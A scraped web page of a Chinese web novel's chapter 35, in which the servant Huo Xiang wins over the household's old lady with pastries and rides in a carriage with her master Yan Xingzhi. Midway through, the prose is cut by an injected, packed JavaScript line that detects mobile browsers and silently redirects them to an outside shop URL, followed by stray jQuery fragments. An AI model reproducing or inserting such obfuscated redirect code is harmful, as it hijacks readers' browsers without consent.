文趣网 > 其他小说 > 公子通房跑路记 > 35. 第35章 围炉之话
    霍香没有再戴那对耳环。

    毕竟她也没有自讨苦吃的爱好。命里的苦已经很够吃了。她不该叫霍香,她该叫黄连,也很像个人名,姓是姓,名是名。

    不过若真叫了这个名字,那真是从里苦到外,过上好日子也总有一股苦唧唧的余味,在唇齿耳畔回荡,所以她还是叫霍香吧。

    霍者,双鸟雨中疾飞之声也。香者,美者也。

    霍香坐在镜前,偏过头,小心翼翼摘下耳坠。分明只是小拇指大的两粒珠子,却仿佛解下一副重担,整个人都轻盈了。

    镜中的脸似乎圆润了一些,两颊也有了点肉感,不知是不是年节伙食好。

    过年的猪会死,过年的人会胖。

    霍香笑了笑,起身又去做了点心。

    人不能在一棵树上吊死,聪明的兔子要有三个洞穴。既然老夫人还算看得起她,喜欢她的点心,她当然也不能辜负,多去献献殷勤总没有坏处。

    打开蒸笼,弥漫开一股扑腾的白汽。霍香原想留几个给晏大人,但一想起当初晏大人对豆泥包子的神情与态度,平日也不见甜食上桌,猜测晏大人大抵不喜欢,便全分给了双儿她们,自己拎着食盒径直去了松鹤堂。

    老夫人牙口不好,素日就爱一口甜糯,吃得十分欢喜,抬眼却见霍香仍是两耳空空,语气便有了点不满:“都跟你说了,要你戴,怎么还这样?”

    晏大人给的理由实在算不上高明,小辈哪怕真不喜欢长辈的东西,也不能堂而皇之说出口,所以霍香蹙起了一点眉,连声音也矮了下去,委屈道:“老夫人可别提了。奴婢昨日欢欢喜喜戴上,被公子瞧见,可挨了一顿训。

    “公子说,老夫人赏赐,是老夫人怜爱,原该好好收着,以示敬重。奴婢这般,活像只翘尾巴的猫,生怕别人不知道老夫人疼爱咱们攸宁居。公子还说,让奴婢多来陪老夫人解闷,才是正道。公子素日忙碌,无法时常承欢膝下,是他的过失。”

    上了年纪的人总爱儿孙绕膝,享受天伦,老夫人一听是晏行止吩咐她来的,加之霍香神情滑稽,语气俏皮,被逗得哈哈大笑,但嘴上还要硬气一下,嗔道:“他不过是自己偷懒,让你来回跑罢了。”

    “老夫人这说得哪里话,”霍香冲旁边的佛龛努了努下巴,“公子时常记挂着老夫人呢。之前去江南,还特意去寒水寺为老夫人请双面菩萨和佛牌,这几天也在认真抄经。只是忠孝难两全,老夫人可千万不能因此不疼咱们了。”

    老夫人嗤嗤笑起来,又感叹晏行止公务辛苦,叮嘱她务必在跟前好好照顾。

    霍香连连点头,顺势绕到老夫人身后,替之捏肩揉腿。她到底是医家出身,又伺候了多年瘫痪的爹,手艺纯熟,力道恰好,侍奉得老太太十分怡然。

    晏行止也每天去松鹤堂晨昏定省,常听老夫人夸赞霍香,做的东西尤其合口味。

    晏行止当然知道霍香每天拎着个食盒消失一段时间是为什么。他问过飞烟。但有没有明修栈道,暗度陈仓,私底下去做别的事、见别的人,就不得而知了。

    大抵也是托了这件事的福,攸宁居里的下人,这几天也时常聚在一起享用吃食,连远山几次进来也有份。

    除了他。

    晏行止作为攸宁居的主人,此时却感觉像个局外人,自然也答不上老夫人那些关于点心的话,紧着岔开了话题,献上了誊抄好的《心经》。

    老夫人接过来看了,嗔怪道:“就这么几个字,你抄这么多天?亏得藿香还说你孝心拳拳。”

    晏行止表情现出几分讪然,“祖母没催,孙儿只当不急,刚好星洲那画又到了紧要的关头……”

    他顿了顿,状似补救道:“不如这样,送经之事,就交由孙儿吧?”

    “那敢情好,”老夫人喜道,“这样正显诚心。说起来,你当年还在大明寺里养过病。只是后来你学业忙了,也便没功夫去了。”

    晏行止微微颔首,又陪着老人家闲聊了几句,方才回到攸宁居,正看见霍香在井边打水,泡明日要用的黄豆。

    她还是照常挽着袖子,两截小臂就这么明晃晃地露在晚冬冷白的日光底下。

    霍香觉察到一道视线,落在自己手臂上,就像一阵冷风拂过,透着凉丝。她抬头,果然见去而复返的晏大人,干干地笑了一下,默默放下袖子。

    晏行止从她手上收回目光,声音听不出什么情绪:“明天我要去大明寺替老夫人送佛经,你跟我一起去。”

    霍香心内奇怪。前几天还听紫英说派个小厮跑腿呢,怎么又换晏大人亲自去了?还要带上她?

    霍香灵光一闪,凑过去悄咪声问:“公子,唐小姐是不是也要去?”

    霍香其实一直觉得,这样很不是办法。晏大人在旁的事上都谈得上果断,唯独感情上,委决不下。

    躲得过初一,躲不过十五,狼来了也只能喊三次。不喜欢,就该直截了当和陆夫人说清楚,再讲讲自己中意什么样的,陆夫人也好按图索骥。

    晏行止睨了她一眼,那巴掌大的脸上分明是有点看乐子的神态,很没好气道:“不是。你跟着去就是了。”

    怎么,能天天往攸宁居外跑,真要去外头了反而问东问西?

    霍香哪还敢置喙,毕竟男人都比较刚愎自用,老实点头。

    翌日,天朗气清,两人一起坐上出门的马车。

    车轮辘辘,忽然停在一处街口。

    霍香来京月余,就上回出过一次门,也是陪晏大人,自然不清楚京城布局,更不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537674|202227||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    晓得大明寺在哪里,不过做个听命行事的跟屁虫而已,只是见许久不动,心觉奇怪,问:“不是去大明寺吗?”

    晏行止伸手撩起车窗帘子,望向外面,漫不经心道:“远山去办点事,我们在这儿等一下。”

    霍香坐在侧边,正对着那扇敞开的车窗。冷风扑面而来,把车厢内的暖意尽数卷去,很有一股砭骨的寒凛。

    她忍不住打了个寒颤,也不晓得外面有什么好看,不过是一排排规整的房子罢了。

    晏行止余光瞟见,随手放下了车帘。车厢瞬间暗下了几分,光线变得柔和而幽沉。

    脚边,覆着铜丝网的三足炭盆继续缓慢地释放热气,橘红色的火光在铜网后面幽幽地跳动,渐渐回笼一点暖意。

    “那件披风,”晏行止忽然开口,一瞬不瞬望着那点炭光,“怎么也不见你穿?”

    霍香把手伸到炭盆上烤了烤,指尖在暖意里微微蜷起,想晏大人是真的不了解陆夫人的喜好,答:“那颜色太艳丽了,穿了怕太招摇。”

    “紫色不招摇吗?”

    “什么?”霍香没太反应过来。

    晏行止扯了扯嘴角,转了话头叮嘱道:“老夫人年岁大了,不宜多食甜腻荤腥之物,你也不要每天都去送。”

    霍香露出一副早有预料的表情,笑道:“奴婢知道。其实只有一两块甜糕,旁的还有瓜果碾的汁,都是很好克化的,对老人家身体也好。紫英姐姐也在旁边看着呢。”

    她伺候亲爹都没这么尽心过,还回回在老夫人跟前替他铺排好话,简直就是替他尽孝。晏大人拣大便宜了。

    “你倒想得周到。”晏行止赞道,不过语气还是偏淡。

    “奴婢也是感念老夫人当初留下奴婢,上回也多亏老夫人和夫人说话,才等到公子回来……”霍香自然清楚,这些事也都离不开晏大人操盘,人家要不要是人家的事,她送不送是她的事,于是找补道,“奴婢本也准备了给公子,不过上次看公子不吃豆泥包子,就没敢送。公子要尝尝吗?”

    晏行止一听“豆泥包子”,表情有些干涩,仿佛这四个字本身就带着一股黏糊的甜腻,随口道:“不必。”

    霍香早有意料,自然没有什么沮丧,反而觉得自己很有先见之明。她不一定清楚晏大人喜欢什么,但知道晏大人讨厌什么——甜,以及女人。

    哎呀,那唐小姐真的危矣了。

    就在这时,车窗帘子外头忽然传来一阵女人的争吵声,尖锐而急迫。

    晏行止眉梢一抬,又掀开了帘子。

    远处,精美的如意门前,一个女人正在奋力拍打门板。门上的铜环被她拍得叮叮乱晃,那髻上簪子的流苏也摆出夸张的弧度。

    定睛一看,竟是明心。